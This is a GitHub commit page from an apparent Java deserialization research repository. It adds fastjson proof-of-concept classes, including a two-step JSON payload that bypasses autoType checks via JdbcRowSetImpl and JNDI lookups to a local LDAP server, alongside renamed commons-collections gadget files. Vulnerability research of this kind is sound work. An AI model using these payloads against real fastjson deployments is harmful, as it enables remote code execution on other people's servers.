Skip to content

Commit 54a5488

Browse files
author
xuanyh
committed
op code
1 parent 5a87b38 commit 54a5488

File tree

16 files changed

+250
-63
lines changed

16 files changed

+250
-63
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
.idea
2+
*.iml
3+
target

pom.xml

Lines changed: 28 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@
4444
<dependency>
4545
<groupId>com.alibaba</groupId>
4646
<artifactId>fastJson</artifactId>
47-
<version>1.2.24</version>
47+
<version>1.2.47</version>
4848
</dependency>
4949

5050
<!-- jsonkson -->
@@ -54,6 +54,33 @@
5454
<version>2.6.3</version>
5555
</dependency>
5656

57+
<!-- ldap -->
58+
<dependency>
59+
<groupId>com.unboundid</groupId>
60+
<artifactId>unboundid-ldapsdk</artifactId>
61+
<version>3.1.1</version>
62+
</dependency>
63+
64+
<!-- logback -->
65+
<dependency>
66+
<groupId>ch.qos.logback</groupId>
67+
<artifactId>logback-core</artifactId>
68+
<version>1.2.1</version>
69+
</dependency>
70+
71+
<!-- 数据库连接池 -->
72+
<dependency>
73+
<groupId>com.alibaba</groupId>
74+
<artifactId>druid</artifactId>
75+
<version>1.1.6</version>
76+
</dependency>
77+
<!-- mysql -->
78+
<dependency>
79+
<groupId>mysql</groupId>
80+
<artifactId>mysql-connector-java</artifactId>
81+
<version>5.1.34</version>
82+
</dependency>
83+
5784
</dependencies>
5885

5986
<build>

src/main/java/com/xyh/collections3/no1/SerializeMapForTransformer.java renamed to src/main/java/com/threedr3am/bug/collections3/no1/SerializeMapForTransformer.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
1-
package com.xyh.collections3.no1;
1+
package com.threedr3am.bug.collections3.no1;
22

33

4-
import com.xyh.utils.SerializeUtil;
4+
import com.threedr3am.bug.utils.SerializeUtil;
55
import org.apache.commons.collections.Transformer;
66
import org.apache.commons.collections.functors.ChainedTransformer;
77
import org.apache.commons.collections.functors.ConstantTransformer;

src/main/java/com/xyh/collections3/no2/CallbackRuntime.java renamed to src/main/java/com/threedr3am/bug/collections3/no2/CallbackRuntime.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.xyh.collections3.no2;
1+
package com.threedr3am.bug.collections3.no2;
22

33
import java.io.BufferedInputStream;
44

src/main/java/com/xyh/collections3/no2/CallbackRuntime2.java renamed to src/main/java/com/threedr3am/bug/collections3/no2/CallbackRuntime2.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.xyh.collections3.no2;
1+
package com.threedr3am.bug.collections3.no2;
22

33
import java.io.BufferedInputStream;
44

src/main/java/com/xyh/collections3/no2/SerializeMapForTransformer.java renamed to src/main/java/com/threedr3am/bug/collections3/no2/SerializeMapForTransformer.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
1-
package com.xyh.collections3.no2;
1+
package com.threedr3am.bug.collections3.no2;
22

3-
import com.xyh.utils.FileToByteArrayUtil;
4-
import com.xyh.utils.SerializeUtil;
3+
import com.threedr3am.bug.utils.FileToByteArrayUtil;
4+
import com.threedr3am.bug.utils.SerializeUtil;
55
import org.apache.commons.collections.Transformer;
66
import org.apache.commons.collections.functors.ChainedTransformer;
77
import org.apache.commons.collections.functors.ConstantTransformer;

src/main/java/com/xyh/fastjson/Cmd.java renamed to src/main/java/com/threedr3am/bug/fastjson/Cmd.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.xyh.fastjson;
1+
package com.threedr3am.bug.fastjson;
22

33
import com.sun.org.apache.xalan.internal.xsltc.DOM;
44
import com.sun.org.apache.xalan.internal.xsltc.TransletException;

src/main/java/com/xyh/fastjson/FastjsonSerialize.java renamed to src/main/java/com/threedr3am/bug/fastjson/FastjsonSerialize.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
1-
package com.xyh.fastjson;
1+
package com.threedr3am.bug.fastjson;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.Feature;
5-
import com.xyh.utils.FileToByteArrayUtil;
5+
import com.threedr3am.bug.utils.FileToByteArrayUtil;
66
import sun.misc.BASE64Encoder;
77

88
/**
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.threedr3am.bug.server.LdapServer;
5+
6+
/**
7+
* fastjson 1.2.48以下不需要任何配置,默认配置通杀RCE
8+
* @author xuanyh
9+
*/
10+
public class NoNeedAutoTypePoc {
11+
12+
static {
13+
//rmi server示例
14+
// RmiServer.run();
15+
16+
//ldap server示例
17+
LdapServer.run();
18+
}
19+
20+
public static void main(String[] args) {
21+
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
22+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
23+
24+
/*
25+
* TODO 该payload需要先通过java.lang.Class把com.sun.rowset.JdbcRowSetImpl加载进fastjson缓存,然后利用
26+
* TODO checkAutoType方法的缺陷(先通过缓存查询,有则立马返回,JdbcRowSetImpl否则检查黑名单hash)绕过黑名单和autoType的检查
27+
*/
28+
String payload = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
29+
// String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:43657/Calc\",\"autoCommit\":true}";//rmi方式
30+
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:43658/Calc\",\"autoCommit\":true}";//ldap方式
31+
JSON.parse(payload);
32+
JSON.parse(payload2);
33+
//所以,该payload需要分两步进行
34+
}
35+
}
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.server.LdapServer;
6+
7+
/**
8+
* 挖洞
9+
*
10+
* @author xuanyh
11+
*/
12+
public class TestPoc {
13+
static {
14+
//rmi server示例
15+
// RmiServer.run();
16+
17+
//ldap server示例
18+
LdapServer.run();
19+
}
20+
21+
public static void main(String[] args) {
22+
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
23+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
24+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
25+
26+
String payload = "{\"@type\":\"\",\"url\":\"ldap://localhost:43658/Calc\",\"started\":true}";//ldap方式
27+
JSON.parse(payload);
28+
}
29+
}

0 commit comments

Comments
 (0)